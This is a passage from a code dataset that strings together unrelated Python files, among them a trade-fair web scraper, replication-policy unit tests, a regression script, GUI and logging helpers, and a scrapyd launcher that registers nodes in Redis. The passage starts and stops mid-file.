sql_data_cat_j_exh = (category_id, existing_exhibitor_id)\r\n else:\r\n print(\"NOT EXIST\")\r\n sql_data_exhibitors = (exhibitor_id, exhibitor_full_name, exhibitor_address, exhibitor_www, exhibitor_telephone, exhibitor_email, exhibitor_logo)\r\n mycursor.execute(sqlFormula_exhibitors, sql_data_exhibitors)\r\n sql_data_cat_j_exh = (category_id, exhibitor_id)\r\n mycursor.execute(sqlFormula_cat_j_exh, sql_data_cat_j_exh)\r\n if not (exists_exhibitor_full_name_condition and exists_exhibitor_address_condition):\r\n exhibitor_id = exhibitor_id + 1\r\n exhibitor_full_name = None\r\n exhibitor_address = None\r\n exhibitor_www = None\r\n exhibitor_telephone = None\r\n exhibitor_email = None\r\n exhibitor_full_name_mysql = None\r\n exhibitor_address_mysql = None\r\n page_number = page_number + 1\r\n page_number = 1\r\n while True:\r\n print(\"category number \" + str(x + 1))\r\n print(\"page number \" + str(page_number))\r\n event_page_url = 'https://portaltargowy.pl/targi?category=' + str(category_id) + '&page=' + str(page_number)\r\n event_page_req = urllib.request.Request(event_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n event_page = urllib.request.urlopen(event_page_req)\r\n event_page_html = event_page.read()\r\n event_page.close()\r\n event_page_soup = BeautifulSoup(event_page_html, \"html.parser\")\r\n event_list = event_page_soup.findAll(\"div\", {\"class\": \"col-lg-8 col-md-6\"})\r\n if not event_list:\r\n break\r\n for row in event_list:\r\n event_page_url = row.a[\"href\"]\r\n event_page_req = urllib.request.Request(event_page_url, headers={'User-Agent': \"Mozilla/5.0\"})\r\n event_page = urllib.request.urlopen(event_page_req)\r\n event_page_html = event_page.read()\r\n event_page.close()\r\n event_page_soup = BeautifulSoup(event_page_html, \"html.parser\")\r\n event_full_name = event_page_soup.select('small')\r\n event_full_name = event_full_name[0].text\r\n event_full_name = event_full_name.replace('Pełna nazwa targów: ', '')\r\n event_full_name_mysql = (event_full_name,)\r\n print(event_full_name)\r\n event_logo = event_page_soup.select('.event-box-single img')\r\n event_logo = event_logo[0][\"src\"]\r\n print(event_logo)\r\n event_date = event_page_soup.select('.col-sm-6:nth-child(1)')\r\n event_date = event_date[0].text.strip()\r\n event_date = event_date.split(\"\\n\")\r\n event_date = event_date[1].strip() + \" \" + event_date[2].strip()\r\n print(event_date)\r\n event_localization = event_page_soup.select('.col-sm-6:nth-child(2)')\r\n event_localization = event_localization[0].text.strip()\r\n event_localization = event_localization.split(\"\\n\")\r\n event_localization = event_localization[1].strip()\r\n event_localization_mysql = (event_localization,)\r\n print(event_localization)\r\n event_www = event_page_soup.select('.col-sm-6 a')\r\n if not event_www:\r\n event_www = None\r\n else:\r\n event_www = event_www[0][\"href\"]\r\n print(event_www)\r\n event_description = event_page_soup.select('.row:nth-child(5) .col-lg-12')\r\n event_description = event_description[0].text\r\n event_description = event_description.split('\\n', 2)[-1].strip()\r\n print(event_description)\r\n event_page_url = event_page_soup.find(\"div\", {\"class\": \"col-lg-8 col-sm-8 col-xs-12\"})\r\n event_page_url = event_page_url.a[\"href\"]\r\n event_page_url_mysql = (event_page_url,)\r\n select_formula = \"SELECT organizer_id FROM \" + basic_table_name_organizers + \" WHERE organizer_page_url = %s\"\r\n mycursor.execute(select_formula, event_page_url_mysql)\r\n organizer_id_event = mycursor.fetchone()\r\n organizer_id_event = organizer_id_event[0]\r\n print(organizer_id_event)\r\n select_exists_event_full_name_formula = \"SELECT EXISTS(SELECT * from \" + basic_table_name_events + \" WHERE event_full_name = \" + \"%s\" + \")\"\r\n mycursor.execute(select_exists_event_full_name_formula, event_full_name_mysql)\r\n exists_event_full_name_condition = mycursor.fetchone()\r\n exists_event_full_name_condition = exists_event_full_name_condition[0]\r\n print(\"existence condition name: \" + str(exists_event_full_name_condition))\r\n select_exists_event_localization_formula = \"SELECT EXISTS(SELECT * from \" + basic_table_name_events + \" WHERE event_localization = \" + \"%s\" + \")\"\r\n mycursor.execute(select_exists_event_localization_formula, event_localization_mysql)\r\n exists_event_localization_condition = mycursor.fetchone()\r\n exists_event_localization_condition = exists_event_localization_condition[0]\r\n print(\"existence condition localization: \" + str(exists_event_localization_condition))\r\n if exists_event_full_name_condition and exists_event_localization_condition:\r\n print(\"EXIST\")\r\n select_existing_event_id_formula = \"SELECT event_id FROM \" + basic_table_name_events + \" WHERE event_full_name = %s\"\r\n mycursor.execute(select_existing_event_id_formula, event_full_name_mysql)\r\n existing_event_id = mycursor.fetchone()\r\n existing_event_id = existing_event_id[0]\r\n sql_data_cat_j_ev = (category_id, existing_event_id)\r\n else:\r\n print(\"NOT EXIST\")\r\n sql_data_events = (event_id, event_full_name, event_logo, event_date, event_localization, event_www, event_description, organizer_id_event)\r\n mycursor.execute(sqlFormula_events, sql_data_events)\r\n sql_data_cat_j_ev = (category_id, event_id)\r\n mycursor.execute(sqlFormula_cat_j_ev, sql_data_cat_j_ev)\r\n if not (exists_event_full_name_condition and exists_event_localization_condition):\r\n event_id = event_id + 1\r\n page_number = page_number + 1\r\nmydb.commit()\r\n","sub_path":"portal_targowy.py","file_name":"portal_targowy.py","file_ext":"py","file_size_in_byte":26233,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"307012628","text":"#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n# This work was created by participants in the DataONE project, and is\n# jointly copyrighted by participating institutions in DataONE. For\n# more information on DataONE, see our web site at http://dataone.org.\n#\n# Copyright 2009-2016 DataONE\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\n# Stdlib\nimport unittest\nimport logging\nimport sys\nimport StringIO\n\n# D1\nfrom d1_common.test_case_with_url_compare import TestCaseWithURLCompare # noqa: E402\n\n# App\nimport d1_client_cli.impl.replication_policy as replication_policy\n\n#===============================================================================\n\n\nclass TestReplicationPolicy(TestCaseWithURLCompare):\n def setUp(self):\n pass\n\n def test_010(self):\n \"\"\"The replication policy object can be instantiated\"\"\"\n self.assertNotEquals(None, replication_policy.ReplicationPolicy())\n\n def test_020(self):\n \"\"\"After instatiation, get_preferred() returns empty list.\"\"\"\n s = replication_policy.ReplicationPolicy()\n self.assertFalse(len(s.get_preferred()))\n\n def test_022(self):\n \"\"\"After instatiation, get_blocked() returns empty list.\"\"\"\n s = replication_policy.ReplicationPolicy()\n self.assertFalse(len(s.get_blocked()))\n\n def test_030(self):\n \"\"\"add_preferred() retains added MN\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_preferred(['preferred_mn_1', 'preferred_mn_2', 'preferred_mn_3'])\n self.assertEqual(3, len(s.get_preferred()))\n self.assertTrue('preferred_mn_1' in s.get_preferred())\n self.assertTrue('preferred_mn_2' in s.get_preferred())\n self.assertTrue('preferred_mn_3' in s.get_preferred())\n\n def test_032(self):\n \"\"\"add_blocked() retains added MN\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_blocked(['blocked_mn_1', 'blocked_mn_2', 'blocked_mn_3'])\n self.assertEqual(3, len(s.get_blocked()))\n self.assertTrue('blocked_mn_1' in s.get_blocked())\n self.assertTrue('blocked_mn_2' in s.get_blocked())\n self.assertTrue('blocked_mn_3' in s.get_blocked())\n\n def test_040(self):\n \"\"\"add_preferred() followed by add_blocked() switches item from preferred to blocked\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_preferred(['preferred_mn'])\n self.assertFalse('preferred_mn' in s.get_blocked())\n s.add_blocked(['preferred_mn'])\n self.assertTrue('preferred_mn' in s.get_blocked())\n\n def test_045(self):\n \"\"\"add_blocked() followed by add_preferred() switches item from blocked to preferred\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_preferred(['blocked_mn'])\n self.assertFalse('blocked_mn' in s.get_blocked())\n s.add_blocked(['blocked_mn'])\n self.assertTrue('blocked_mn' in s.get_blocked())\n\n def test_060(self):\n \"\"\"Replication is allowed by default.\"\"\"\n s = replication_policy.ReplicationPolicy()\n self.assertTrue(s.get_replication_allowed())\n\n def test_070(self):\n \"\"\"set_replication_allowed() is retained and can be retrieved with get_replication_policy()\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.set_replication_allowed(True)\n self.assertTrue(s.get_replication_allowed())\n s.set_replication_allowed(False)\n self.assertFalse(s.get_replication_allowed())\n\n def test_080(self):\n \"\"\"number_of_replicas can be retrieved and is 0 by default\"\"\"\n s = replication_policy.ReplicationPolicy()\n self.assertEqual(3, s.get_number_of_replicas()) # 3 by default\n\n def test_090(self):\n \"\"\"set_number_of_replicas() is retained and can be retrieved with get_number_of_replicas()\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.set_number_of_replicas(5)\n self.assertEqual(5, s.get_number_of_replicas())\n s.set_number_of_replicas(10)\n self.assertEqual(10, s.get_number_of_replicas())\n\n def test_100(self):\n \"\"\"set_replication_allowed(False) implicitly sets number_of_replicas to 0\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.set_number_of_replicas(5)\n self.assertEqual(5, s.get_number_of_replicas())\n s.set_replication_allowed(False)\n self.assertEqual(0, s.get_number_of_replicas())\n\n def test_110(self):\n \"\"\"set_number_of_replicas(0) implicitly sets replication_allowed to False\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.set_replication_allowed(True)\n self.assertTrue(s.get_replication_allowed())\n s.set_number_of_replicas(0)\n self.assertFalse(s.get_replication_allowed())\n\n def test_120(self):\n \"\"\"print_replication_policy() is available and appears to work\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_preferred(['preferred_mn_1'])\n s.add_preferred(['preferred_mn_2'])\n s.add_preferred(['preferred_mn_3'])\n s.add_blocked(['blocked_mn_1'])\n s.add_blocked(['blocked_mn_2'])\n s.add_blocked(['blocked_mn_3'])\n s.set_number_of_replicas(5)\n s.set_replication_allowed(True)\n old = sys.stdout\n sys.stdout = StringIO.StringIO()\n # run print\n s.print_replication_policy()\n ## release stdout\n out = sys.stdout.getvalue()\n sys.stdout = old\n # validate\n self.assertTrue(len(out) > 100)\n self.assertTrue('preferred member nodes' in out)\n self.assertTrue('blocked member nodes' in out)\n\n def test_130(self):\n \"\"\"clear() sets everything to default\"\"\"\n s = replication_policy.ReplicationPolicy()\n s.add_preferred(['preferred_mn_1'])\n s.add_preferred(['preferred_mn_2'])\n s.add_blocked(['blocked_mn_1'])\n s.add_blocked(['blocked_mn_2'])\n s.set_number_of_replicas(5)\n s.set_replication_allowed(True)\n s.clear()\n self.assertTrue(not len(s.get_preferred()))\n self.assertTrue(not len(s.get_blocked()))\n self.assertTrue(s.get_replication_allowed())\n self.assertEqual(s.get_number_of_replicas(), 3)\n\n\n#===============================================================================\n\n\ndef log_setup():\n formatter = logging.Formatter(\n '%(asctime)s %(levelname)-8s %(message)s', '%y/%m/%d %H:%M:%S'\n )\n console_logger = logging.StreamHandler(sys.stdout)\n console_logger.setFormatter(formatter)\n logging.getLogger('').addHandler(console_logger)\n\n\ndef main():\n import optparse\n\n log_setup()\n\n # Command line opts.\n parser = optparse.OptionParser()\n parser.add_option('--debug', action='store_true', default=False, dest='debug')\n parser.add_option(\n '--test', action='store', default='', dest='test', help='run a single test'\n )\n\n (options, arguments) = parser.parse_args()\n\n if options.debug:\n logging.getLogger('').setLevel(logging.DEBUG)\n else:\n logging.getLogger('').setLevel(logging.ERROR)\n\n s = TestReplicationPolicy\n s.options = options\n\n if options.test != '':\n suite = unittest.TestSuite(map(s, [options.test]))\n else:\n suite = unittest.TestLoader().loadTestsFromTestCase(s)\n\n unittest.TextTestRunner(verbosity=2).run(suite)\n\n\nif __name__ == '__main__':\n main()\n","sub_path":"d1_client_cli/src/d1_client_cli/tests/test_replication_policy.py","file_name":"test_replication_policy.py","file_ext":"py","file_size_in_byte":7346,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"48719198","text":"import numpy as np # linear algebra\r\nimport pandas as pd # data processing, CSV file I/O (e.g. pd.read_csv)\r\nimport matplotlib.pyplot as plt\r\n\r\n#from sklearn.tree import DecisionTreeRegressor\r\n#from sklearn.ensemble import AdaBoostRegressor\r\n#from sklearn.ensemble import GradientBoostingRegressor\r\nfrom sklearn.ensemble import RandomForestRegressor\r\nfrom sklearn.multioutput import MultiOutputRegressor\r\nfrom sklearn.metrics import mean_squared_error\r\n\r\n\"\"\"\r\nwith pd.HDFStore(\"C:\\\\Users\\\\4126694\\\\2sig-kaggle\\\\input\\\\train.h5\", \"r\") as train:\r\n # Note that the \"train\" dataframe is the only dataframe in the file\r\n df = train.get(\"train\")\r\n \r\nids = df[\"id\"].unique()\r\nids_in = {}\r\nfor x in ids:\r\n time = df[df[\"id\"] == x].timestamp\r\n if time.min() > 100 and time.max() < 1812:\r\n ids_in[x] = (time.min(), time.max())\r\n\r\ninstrument = 52\r\ndfi = df[df[\"id\"] == instrument]my\r\n\r\npd.set_option('mode.chained_assignment',None)\r\ndfi.loc[:,\"cumprod\"] = (1+dfi[\"y\"]).cumprod()\r\n\r\ncols = [x for x in dfi.columns.values if x not in [\"id\", \"timestamp\",\"y\",\"cumprod\"]]\r\nl = len(cols)\r\n\r\ndfj = dfi.fillna(mean_values)\r\ntarget = dfj.pop('y')\r\nts = dfj.pop('timestamp')\r\ndfj = dfi.drop([\"id\",\"y\",\"cumprod\"],axis=1)\r\ndfj=dfj.fillna(0)\r\nfeatures = dfj.values\r\n\"\"\"\r\ndef _load_data(data, n_prev = 61): \r\n \"\"\"\r\n data should be pd.DataFrame()\r\n \"\"\"\r\n\r\n docX, docY = [], []\r\n for i in range(len(data)-n_prev):\r\n docX.append(data.iloc[i:i+n_prev].as_matrix())\r\n docY.append(data.iloc[i+n_prev].as_matrix())\r\n alsX = np.array(docX)\r\n alsY = np.array(docY)\r\n\r\n return alsX, alsY\r\n\r\n\r\ndef train_test_split(data, test_size=0.5): \r\n \"\"\"\r\n This just splits data to training and testing parts\r\n \"\"\" \r\n df = pd.DataFrame(data) \r\n ntrn = round(len(df) * (1 - test_size))\r\n ntrn = int(ntrn)\r\n tt = df.iloc[0:ntrn]\r\n vv = df.iloc[ntrn:]\r\n \r\n train = np.array(tt)\r\n val = np.array(vv)\r\n\r\n\r\n return (train, val)\r\n\r\n(xtrain, xval) = train_test_split(features)\r\n(ytrain, yval) = train_test_split(target) \r\n(tstrain, tsval) = train_test_split(ts) \r\n\r\n\r\nrng = np.random.RandomState(1)\r\n#regr_1 = DecisionTreeRegressor(max_depth=4)\r\n#regr_2 = AdaBoostRegressor(DecisionTreeRegressor(max_depth=5), n_estimators=500, random_state=rng)\r\n#regr_3 = GradientBoostingRegressor(n_estimators=500, learning_rate=0.1, max_depth=5, random_state=rng, loss='ls')\r\nregr_4 = MultiOutputRegressor(RandomForestRegressor(n_estimators=300, max_depth=10, random_state=0))\r\nregr_5 = RandomForestRegressor(n_estimators=300, max_depth=10, random_state=rng)\r\n\r\n\r\n#regr_1.fit(features, target)\r\n#regr_2.fit(xtrain, ytrain)\r\n#regr_3.fit(xtrain, ytrain)\r\nregr_4.fit(xtrain, ytrain)\r\nregr_5.fit(xtrain, ytrain)\r\n\r\n#y_1 = regr_1.predict(features)\r\n#y_2 = regr_2.predict(xval)\r\n#y_3 = regr_3.predict(xval)\r\ny_4 = regr_4.predict(xval)\r\ny_5 = regr_5.predict(xval)\r\n\r\n\r\n#mse2 = mean_squared_error(yval, y_2)\r\n#mse3 = mean_squared_error(yval, y_3)\r\nmse4 = mean_squared_error(yval, y_4)\r\nmse5 = mean_squared_error(yval, y_5)\r\n\r\nprint(\"MSE4: %.6f MSE5: %.6f\" % (mse4,mse5))\r\n\r\nplt.figure()\r\nplt.figure(figsize=(15,10))\r\nplt.plot(ts, target,c=\"k\",label=\"training samples\")\r\nplt.plot(tsval, y_4, c=\"g\", label=\"ADABoost500\", linewidth=2)\r\nplt.plot(tsval, y_5, c=\"r\", label=\"GradBoost500\", linewidth=2)\r\n\r\n","sub_path":"2sigv2.py","file_name":"2sigv2.py","file_ext":"py","file_size_in_byte":3327,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"373247973","text":"import logging\nimport tkinter as tk\nfrom auxiclean import MAINFORMATTER\n\n\nclass TextHandler(logging.Handler):\n # This class allows you to log to a Tkinter Text or ScrolledText widget\n # Adapted from Moshe Kaplan:\n # https://gist.github.com/moshekaplan/c425f861de7bbf28ef06\n\n def __init__(self, text):\n # run the regular Handler __init__\n super().__init__()\n # Store a reference to the Text it will log to\n self.setFormatter(MAINFORMATTER)\n self.text = text\n\n def emit(self, record):\n msg = self.format(record)\n\n def append():\n self.text.configure(state='normal')\n self.text.insert(tk.END, msg + '\\n')\n self.text.configure(state='disabled')\n # Autoscroll to the bottom\n self.text.yview(tk.END)\n # This is necessary because we can't modify the Text from other threads\n self.text.after(0, append)\n","sub_path":"auxiclean/handler.py","file_name":"handler.py","file_ext":"py","file_size_in_byte":927,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"238738808","text":"import os\nfrom multiprocessing import Process\nfrom time import sleep\nfilename = \"./timg.jpeg\"\n# 获取文件的大小\nsize = os.path.getsize(filename)\n# 如果子进程使用父进程的对象，那么相互之间有偏移量的影响\n# f = open(filename, 'rb')\n# 复制前半部分\n\n\ndef copy1():\n f = open(filename, 'rb')\n # sleep(1)\n n = size // 2\n fw = open('1.jpeg', 'wb')\n\n while True:\n if n < 1024:\n data = f.read(n)\n fw.write(data)\n break\n data = f.read(1024)\n fw.write(data)\n n -= 1024\n\n f.close()\n fw.close()\n\n\n# 复制后半部分\ndef copy2():\n f = open(filename, 'rb')\n fw = open('2.jpeg', 'wb')\n f.seek(size // 2, 0)\n while True:\n data = f.read(1024)\n if not data:\n break\n fw.write(data)\n fw.close()\n f.close()\n\n\np1 = Process(target=copy1) # args=('timg.jpeg',)\np2 = Process(target=copy2) # args=('timg.jpeg',))\np1.start()\np2.start()\np1.join()\np2.join()\n","sub_path":"aid1807习题总结/process/process4.py","file_name":"process4.py","file_ext":"py","file_size_in_byte":1001,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"60170294","text":"#!/usr/bin/env python\nimport os\nfrom setuptools import setup\n\nPACKAGE = 'pypi-tools'\nVERSION = '0.0.2'\n\nsetup(\n name = 'pypi-tools',\n version = VERSION,\n description = 'Command line PyPI search tool',\n author = 'Grigoriy Petukhov',\n author_email = 'lorien@lorien.name',\n url = 'http://bitbucket.org/lorien/pypi-tools',\n py_modules = ['pypi'],\n scripts = ['pypi'],\n license = \"BSD\",\n keywords = \"django application development shortcuts helpers\",\n classifiers=[\n 'Development Status :: 4 - Beta',\n 'Environment :: Web Environment',\n 'Framework :: Django',\n 'Intended Audience :: Developers',\n 'License :: OSI Approved :: BSD License',\n 'Operating System :: OS Independent',\n 'Programming Language :: Python',\n 'Topic :: Software Development :: Libraries :: Python Modules',\n ],\n)\n","sub_path":"pypi_install_script/pypi-tools-0.0.2.tar/setup.py","file_name":"setup.py","file_ext":"py","file_size_in_byte":871,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"540987419","text":"frase = str(input('Digite uma frase: ')).upper()\n\na = frase.count('A')\ne = frase.count('E')\ni = frase.count('I')\no = frase.count('O')\nu = frase.count('U')\n\ntotal_de_vogais = a + e + i + o + u\n\nprint(f'O texto contém um total de {total_de_vogais} vogais.')\n\nposicoesA = list()\nposicoesE = list()\nposicoesI = list()\nposicoesO = list()\nposicoesU = list()\n\nfor posicao, vogal in enumerate(frase):\n\n if vogal == 'A':\n posicoesA.append(posicao + 1)\n if vogal == 'E':\n posicoesE.append(posicao + 1)\n if vogal == 'I':\n posicoesI.append(posicao + 1)\n if vogal == 'O':\n posicoesO.append(posicao + 1)\n if vogal == 'U':\n posicoesU.append(posicao + 1)\n\nif posicoesA == []:\n print('A vogal \"A\" não se encontra na frase.')\nelse:\n print(f'A vogal \"A\" se encontra na(s) posição(ões) {posicoesA}.')\nif posicoesE == []:\n print('A vogal \"e\" não se encontra na frase.')\nelse:\n print(f'A vogal \"E\" se encontra na(s) posição(ões) {posicoesE}.')\nif posicoesI == []:\n print('A vogal \"I\" não se encontra na frase.')\nelse:\n print(f'A vogal \"I\" se encontra na(s) posição(ões) {posicoesI}.')\nif posicoesO == []:\n print('A vogal \"O\" não se encontra na frase.')\nelse:\n print(f'A vogal \"O\" se encontra na(s) posição(ões) {posicoesO}.')\nif posicoesU == []:\n print('A vogal \"U\" não se encontra na frase.')\nelse:\n print(f'A vogal \"U\" se encontra na(s) posição(ões) {posicoesU}.')","sub_path":"contador_vogais_posicoes.py","file_name":"contador_vogais_posicoes.py","file_ext":"py","file_size_in_byte":1445,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"652440307","text":"#!/usr/bin/env python3\n\nfrom collections import namedtuple\nimport os\nfrom proceseq_16s.utilities import time_it\nfrom proceseq_16s import extract_taxonomy, gui_common\nimport tkinter as tk\nfrom tkinter import ttk\n\n\nclass Extractor(gui_common.VariableAreas):\n def __init__(self, parent):\n tk.Frame.__init__(self, parent)\n self.parent = parent\n\n self.input_file = gui_common.OpenDialogs(self, label='Input file:')\n self.input_file.grid(column=0, row=0, sticky='WE')\n\n self.output_file = gui_common.OpenDialogs(self, label='Output file:',\n ask_saveas=True)\n self.output_file.grid(column=0, row=1, sticky='WE')\n\n input_frame = ttk.Frame(self)\n input_frame.grid(column=0, row=2, sticky='WE', pady=(5))\n input_frame.grid_columnconfigure(1, weight=1)\n\n highes_level_label = ttk.Label(input_frame, text='Highest level used '\n 'for taxonomy aggregation (0 - off):',\n font=(None, 12))\n highes_level_label.grid(column=0, row=0, sticky='W', pady=(0, 10))\n self.highest_level = tk.IntVar()\n highes_level_entry = ttk.Entry(input_frame, width=8,\n textvariable=self.highest_level, font=(None, 12))\n highes_level_entry.grid(column=1, row=0, sticky='E', pady=(0, 10))\n\n taxonomy_length_label = ttk.Label(input_frame, text='Number of taxonomy levels '\n 'used by assigned taxonomy:',\n font=(None, 12))\n taxonomy_length_label.grid(column=0, row=1, sticky='W', pady=(0, 10))\n self.taxonomy_length = tk.IntVar()\n taxonomy_length_entry = ttk.Entry(input_frame, width=8,\n textvariable=self.taxonomy_length,\n font=(None, 12))\n taxonomy_length_entry.grid(column=1, row=1, sticky='E', pady=(0, 10))\n\n self.taxonomy_file = gui_common.OpenDialogs(\n self,\n label='Taxonomy file (no taxonomy file will be used, if it is left empty):')\n\n self.taxonomy_file.grid(column=0, row=3, sticky='WE')\n\n def validate_inputs(self, *args):\n '''Validation of values in relevant input widgets\n\n Returns\n -------\n namedtuple\n Named tuple containing 3 values:\n is_valid (bool): Result if it is valid of not\n message_lines (list): List of lines for error box\n info_lines (list): List of lines for warning box\n '''\n is_valid = True\n message_lines = []\n info_lines = []\n\n ValidationResult = namedtuple('ValidationResult', ['is_valid',\n 'message_lines',\n 'info_lines'])\n\n if not os.path.isfile(self.input_file.text):\n is_valid = is_valid and False\n message_lines.append('Invalid input file!')\n\n if (self.taxonomy_file.text.strip() != '' and\n not os.path.isfile(self.taxonomy_file.text)):\n is_valid = is_valid and False\n message_lines.append('Invalid taxonomy file!')\n\n if self.highest_level.get() > self.taxonomy_length.get():\n message_lines.append('Highest level must not be higher than number of '\n 'taxonomy levels!')\n is_valid = is_valid and False\n\n return ValidationResult(is_valid=is_valid,\n message_lines=message_lines,\n info_lines=info_lines)\n\n def fill_defaults(self, config):\n '''Fill default values from a config file'''\n\n try:\n parameters = config['Extract taxonomy']\n except KeyError:\n parameters = {}\n\n self.highest_level.set(parameters.get('Highest level', ''))\n self.taxonomy_length.set(parameters.get('Number of taxonomy levels', ''))\n\n @time_it\n def run(self, *args):\n '''Run extraction of marked taxonomy data and their count'''\n\n with open(self.input_file.text, 'r') as input_file, \\\n open(self.output_file.text, 'w') as output_file:\n\n if self.taxonomy_file.text.strip() == '':\n taxonomy_file = None\n else:\n taxonomy_file = open(self.taxonomy_file.text.strip(), 'r')\n\n if self.highest_level.get() == 0:\n highest_level = self.taxonomy_length.get()\n else:\n highest_level = self.highest_level.get()\n\n extract_taxonomy.read_line(input_file,\n out_file=output_file,\n taxonomy_file=taxonomy_file,\n highest_level=highest_level,\n taxonomy_length=self.taxonomy_length.get())\n\n if taxonomy_file is not None:\n taxonomy_file.close()\n","sub_path":"proceseq_16s/gui_extract_taxonomy.py","file_name":"gui_extract_taxonomy.py","file_ext":"py","file_size_in_byte":5113,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"90707762","text":"import multiprocessing\nimport os\n\nfrom twisted.application.service import Application\nfrom twisted.application.internet import TimerService, TCPServer\nfrom twisted.web import server\nfrom twisted.python import log\n\nimport traceback\nimport socket\nimport psutil\nimport redis\nimport requests\nimport json\n\nfrom scrapy.utils.misc import load_object\n\nfrom .interfaces import IEggStorage, IPoller, ISpiderScheduler, IEnvironment\nfrom .eggstorage import FilesystemEggStorage\nfrom .scheduler import SpiderScheduler\nfrom .poller import QueuePoller\nfrom .environ import Environment\n\n\ndef application(config):\n app = Application(\"Scrapyd\")\n http_port = config.getint('http_port', 6800)\n bind_address = config.get('bind_address', '127.0.0.1')\n poll_interval = config.getfloat('poll_interval', 5)\n\n poller = QueuePoller(config)\n eggstorage = FilesystemEggStorage(config)\n scheduler = SpiderScheduler(config)\n environment = Environment(config)\n\n app.setComponent(IPoller, poller)\n app.setComponent(IEggStorage, eggstorage)\n app.setComponent(ISpiderScheduler, scheduler)\n app.setComponent(IEnvironment, environment)\n\n laupath = config.get('launcher', 'scrapyd.launcher.Launcher')\n laucls = load_object(laupath)\n launcher = laucls(config, app)\n\n webpath = config.get('webroot', 'scrapyd.website.Root')\n webcls = load_object(webpath)\n\n timer = TimerService(poll_interval, poller.poll)\n webservice = TCPServer(http_port, server.Site(\n webcls(config, app)), interface=bind_address)\n log.msg(format=\"Scrapyd web console available at http://%(bind_address)s:%(http_port)s/\",\n bind_address=bind_address, http_port=http_port)\n\n launcher.setServiceParent(app)\n timer.setServiceParent(app)\n webservice.setServiceParent(app)\n\n host = get_host_ip(config)\n redis_host = config.get('redis_host', 'localhost')\n redis_port = config.get('redis_port', 6379)\n redis_db = config.get('redis_db', 0)\n redis_pool = redis.ConnectionPool(\n host=redis_host,\n port=redis_port,\n db=redis_db\n )\n register_to_redis(config, redis_pool)\n log.msg('Registering scrapyd [{}] to redis {}:{} at db {}'.format(host, redis_host, redis_port, redis_db))\n # log.msg('2018-11-03 10:10 am')\n redis_interval = config.getfloat('redis_interval', 5)\n register_timer = TimerService(\n redis_interval, register_to_redis, config, redis_pool)\n register_timer.setServiceParent(app)\n\n return app\n\n\nfailure_count = 0\n\n\ndef register_to_redis(config, redis_pool):\n global failure_count\n try:\n redis_key = config.get('redis_key', 'scrapyd:nodes')\n host_ip = get_host_ip(config)\n if host_ip is None:\n host_name = socket.gethostname()\n message = '\"host_ip\" is not configured, scrapyd [{}] not registered'.format(\n host_name)\n log.msg(message)\n if config.get('notify', False):\n notify(config, message)\n return\n host_port = config.get('http_port', 6800)\n host = '{}:{}'.format(host_ip, host_port)\n mem_free = int(psutil.virtual_memory().available / 1048576)\n cpu_load = os.getloadavg()[0]\n n_cpu = multiprocessing.cpu_count()\n value = f\"{mem_free}|{cpu_load}|{n_cpu}\"\n\n r = redis.Redis(connection_pool=redis_pool)\n if r.hset(redis_key, host, value):\n log.msg('Scrapyd [{}] registered to redis again.'.format(host))\n failure_count = 0\n except Exception as err:\n failure_count += 1\n log.msg(err)\n message = traceback.format_exc()\n if failure_count < 10:\n notify(config, message)\n\n\ndef get_host_ip(config):\n _ip = None\n try:\n _ip = [l for l in ([ip for ip in socket.gethostbyname_ex(socket.gethostname())[2] if not ip.startswith(\"127.\")][:1], [[(s.connect(\n ('8.8.8.8', 53)), s.getsockname()[0], s.close()) for s in [socket.socket(socket.AF_INET, socket.SOCK_DGRAM)]][0][1]]) if l][0][0]\n except Exception as err:\n log.msg(err)\n return config.get('host_ip', _ip)\n\n\ndef notify(config, message):\n key = config.get('notify_key', '')\n if key == '':\n return\n url = 'https://hooks.slack.com/services/{}'.format(key)\n headers = {'content-type': 'application/json'}\n payload = {'text': message}\n requests.post(url, data=json.dumps(payload), headers=headers)\n","sub_path":"scrapyd/app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":4411,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"5250047","text":"from flask import Flask, render_template, request\nfrom wtforms import Form, TextAreaField, validators\nimport os\nimport numpy as np\nfrom translation import *\nimport sentencepiece as spm\nimport re\nfrom fairseq.models.transformer import TransformerModel\n\napp = Flask(__name__)\n\n######## Preparing the translator\n#cur_dir = os.path.dirname(__file__)\nsp = spm.SentencePieceProcessor()\nsp.load(\"models/jsec.ja.model\")\n\nja2en = TransformerModel.from_pretrained(\n 'checkpoints/98subwords/',\n checkpoint_file='checkpoint_best.pt',\n data_name_or_path='data/bin/98_subwords/'\n)\n\n######## Flask\nclass TextForm(Form):\n source = TextAreaField('', [validators.DataRequired(), validators.length(min=5)])\n\n@app.route('/')\ndef index():\n form = TextForm(request.form)\n #text = translate(form)\n return render_template('textform.html', form=form, target=None)\n\n@app.route('/', methods=['POST'])\ndef results():\n 